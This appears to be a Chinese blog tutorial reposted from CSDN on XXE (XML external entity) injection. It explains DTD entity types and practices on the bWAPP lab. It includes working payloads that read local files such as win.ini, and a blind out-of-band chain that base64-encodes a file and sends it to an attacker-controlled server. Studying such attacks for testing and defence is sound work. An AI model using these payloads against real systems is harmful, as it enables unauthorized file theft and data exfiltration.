OWASP之XXE(XML外部实体注入)

前提条件

libxml2.9.1 及以后,默认不解析外部实体。
可使用phpinfo()查看libxml的版本信息。网址后加phpinfo.php

XML文档

组成:xml声明,DTD部分,xml部分
在这里插入图片描述
cross-domain-policy根节点,http://…dtd引用文件位置

DTD(文档类型定义)
为xml文档定义语义约束,内部声明,外部引用
dtd用法参考内容:https://blog.csdn.net/qq_40849099/article/details/80457850

DTD知识

1、内部实体声明

<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >
]>

定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,实体其实可以看成一个变量,可以在 XML 中通过 & 符号进行引用

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换
注:&符号要进行url编码,否则可能会当做连接符执行

2、外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用
的协议

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >
]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

实体可分为(通用实体、参数实体)
通用实体
用 &实体名; 引用的实体,在DTD 中定义,在 XML 文档中引用
参数实体

<!ENTITY % 实体名称 "实体的值"> / <!ENTITY % 实体名称 SYSTEM "URI">
xx.dtd文件
<!ENTITY evil SYSTEM "file:/// :/windows/win.ini" >
xx.xml文件
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://ip:端口/xx.dtd" >
%xxe;]>
<foo>&evil;</foo>

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

参考文档:https://xz.aliyun.com/t/3357

XXE利用

xml中只能利用DTD部分

注入内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

或者

注入内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/xx.dtd" >
%xxe;]>
<foo>&xx;</foo>
外部xx.dtd内容
<!ENTITY xx SYSTEM "file:///c:/windows/win.ini" >

有回显直接看回显内容
无回显使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,
然后将内容以 http 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx

注入内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

外部test.dtd 的内容,内部的%号要进行实体编码成&#37

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM
'http://ip?p=%file;'>">

无回显有报错,直接将报错内容解码
无回显无报错,在错误日志(access.log)中将内容解码
错误日志在哪里找?

实战(bwapp)

在这里插入图片描述
在这里插入图片描述
这里有坑,只能发送一次,不能连续发送,想试需要重新抓包

猜你喜欢

转载自blog.csdn.net/zzhokok/article/details/107937006